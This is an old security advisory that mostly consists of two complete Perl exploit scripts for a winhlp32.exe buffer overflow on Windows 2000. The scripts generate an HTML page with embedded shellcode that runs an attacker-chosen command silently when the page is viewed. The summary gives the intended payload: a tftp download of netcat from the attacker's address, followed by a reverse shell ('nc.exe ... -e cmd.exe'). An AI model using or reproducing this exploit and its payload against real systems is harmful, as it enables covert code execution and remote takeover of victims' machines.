[EXPL] Winhlp32.exe Buffer Overflow Exploit Code

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Date: 08/10/02 

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  Winhlp32.exe Buffer Overflow Exploit Code
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SUMMARY

Attached is proof of concept code / exploit code for the winhlp32 buffer
overflow vulnerability. The shell code is relatively small but effective
if used correctly. The perl script takes a command to execute
(WinExec,SW_HIDE) and a html output file. There are two versions included
with this advisory:
 * HelpMe.pl that was written to work with kernel32.dll version
5.0.2195.4272
 * HelpMe2.pl that was written to work with all other machines,
kernel32.dll version 5.0.2195.2778

DETAILS

Exploit:
The exploit does the following:
1) Executes tftp.exe -i my.ip.address get nc.exe c:\winnt\system32\nc.exe
2) Executes nc.exe my.ip.address 80 -e cmd.exe

If the exploit executes correctly exitprocess() will report no error.

HelpMe2.pl:
# Winhlp32.exe Remote Buffer Overrun exploit code. written by Gary
O'leary-Steele Sec-1 Ltd. Garyo@sec-1.com
# For use as proof of concept
### Amended for use with kernel32.dll version 5.0.2195.2778

####### Kernell32 jmp ebx 77E87793

$sploit =
"\x55\x8b\xec\x8b\xc3". #Fixed from previous version
"\xbe\xff\xff\xff\xff".
"\x81\xEE\x85\x85\x85\x85".
"\x83\xc0\x01".
"\x8b\x10".
"\x3b\xd6".
"\x75\xf7".
"\x8b\xd8".
"\x83\xc3\x01".
"\x80\x6b\x03\x41".
"\x8b\x7b\x04".
"\x81\xff\x58\x58\x58\x58".
"\x75\xEE".
"\x81\x6b\x04\x58\x58\x58\x58".
"\x33\xf6".
"\x56".
"\x83\xc0\x04".
"\x50".
"\xbb\xaf\xa7\xe9\x77". # mov ebx, 0x77e9a7af winexec() address
"\xff\xd3"; #call ebx

$exitproc =
"\xBB\x95\x8f\xe9\x77".
"\x83\xeb\x01".
"\xff\xd3";

#77e98f94 + 1 for exit proc

$RET = "\x24\xF1\x5d\x01";
#$EIP2 = "\x93\x77\xe8\x77"; # This works on kernel32.dll version
5.0.2195.4272
$EIP2 = "\xDE\x16\xe8\x77";
#77E816DE

# direct jump = 0006FBD4 ##$EIP2 = "\xd4\xfb\x06\x00";

print "Exploit code for Winhlp32.exe Remote BufferOverrun.\nBy Gary
Oleary-Steele Sec-1 Ltd\nCalls WinExec SW_HIDE and executes supplied
command\nTested on windows 2000 professional SP2\n\n";
print "Enter Command to execute: ";
$command =<STDIN>;
print "Enter Output File: ";
$outputfile =<STDIN>;
chomp $command;
chomp $outputfile;
open(INFILE,">$outputfile");
$command = encode($command);
$nn = 123 - length($command);
$nops = "\x90" x $nn;

$exploit = $sploit . "zzzz". $command .'XXXX'. $nops .$exitproc. $RET
$EIP2;

$f1= <<"file1";
<OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp
type=application/x-oleobject width=0><PARAM NAME="Width" VALUE="26"><PARAM
NAME="Height" VALUE="26"><PARAM NAME="Command" VALUE="WinHelp"><PARAM
NAME="Item1" VALUE='file1
chomp $f1;

$f2= <<"file2";
'><PARAM NAME="Item2" VALUE="Sec-1
LTD"></OBJECT><SCRIPT>winhelp.HHClick()</SCRIPT>
file2

print INFILE $f1.$exploit.$f2;

sub encode($command){
$lofcmd =length($command);
$i = 0;

for ($i ;$i < $lofcmd; $i++){

$chartoconvert = substr($command,$i,1); # pull out each character

$chartoconvert = ord($chartoconvert); # convert to a dec

for ($b=0; $b < 65; $b++){
$chartoconvert++ ;
}

$tmpchr = chr($chartoconvert); #convert back to chr
$newchar = $newchar . $tmpchr;

}

print $newchar;
return $newchar;

}

HelpMe.pl:
# Winhlp32.exe Remote BufferOverrun exploit code. written by Gary
O'leary-Steele Sec-1 Ltd. Garyo@sec-1.com
# For use as proof of concept
# Kernel32.dll version 5.0.2195.4272
####### Kernell32 jmp ebx 77E87793

$sploit =
"\x55\x8b\xec\x8b\xc3". #xc5 is ebp change if error
"\xbe\xff\xff\xff\xff".
"\x81\xEE\x85\x85\x85\x85".
"\x83\xc0\x01".
"\x8b\x10".
"\x3b\xd6".
"\x75\xf7".
"\x8b\xd8".
"\x83\xc3\x01".
"\x80\x6b\x03\x41".
"\x8b\x7b\x04".
"\x81\xff\x58\x58\x58\x58".
"\x75\xEE".
"\x81\x6b\x04\x58\x58\x58\x58".
"\x33\xf6".
"\x56".
"\x83\xc0\x04".
"\x50".
"\xbb\x94\xee\xe8\x77". # mov ebx, 0x77e8ee94 winexec() address
"\xff\xd3"; #call ebx

$exitproc =
"\xBB\x5d\xa9\xe8\x77".
"\x83\xeb\x01".
"\xff\xd3";

$RET = "\x24\xF1\x5d\x01";
$EIP2 = "\x93\x77\xe8\x77"; # This works
#$EIP2 = "\xf6\xbf\x30\x78";

# direct jump = 0006FBD4 ##$EIP2 = "\xd4\xfb\x06\x00";

print "Exploit code for Winhlp32.exe Remote BufferOverrun.\nBy Gary
Oleary-Steele Sec-1 Ltd\nCalls WinExec SW_HIDE and executes supplied
command\nTested on windows 2000 professional SP2\n\n";
print "Enter Command to execute: ";
$command =<STDIN>;
print "Enter Output File: ";
$outputfile =<STDIN>;
chomp $command;
chomp $outputfile;
open(INFILE,">$outputfile");
$command = encode($command);
$nn = 123 - length($command);
$nops = "\x90" x $nn;

$exploit = $sploit . "zzzz". $command .'XXXX'. $nops .$exitproc. $RET
$EIP2;

$f1= <<"file1";
<OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp
type=application/x-oleobject width=0><PARAM NAME="Width"
VALUE="26"><PARAM NAME="Height" VALUE="26"><PARAM NAME="Command"
VALUE="WinHelp"><PARAM NAME="Item1"
VALUE='
file1
chomp $f1;

$f2= <<"file2";
'><PARAM
NAME="Item2" VALUE="Sec-1 LTD"></OBJECT>
<SCRIPT>winhelp.HHClick()</SCRIPT>
file2

print INFILE $f1.$exploit.$f2;

sub encode($command){
$lofcmd =length($command);
$i = 0;

for ($i ;$i < $lofcmd; $i++){

$chartoconvert = substr($command,$i,1); # pull out each character

$chartoconvert = ord($chartoconvert); # convert to a dec

for ($b=0; $b < 65; $b++){
$chartoconvert++ ;
}

$tmpchr = chr($chartoconvert); #convert back to chr
$newchar = $newchar . $tmpchr;

}

print $newchar;
return $newchar;

}

ADDITIONAL INFORMATION

The information has been provided by <mailto:garyo@sec-1.com> Gary
O'leary-Steele.

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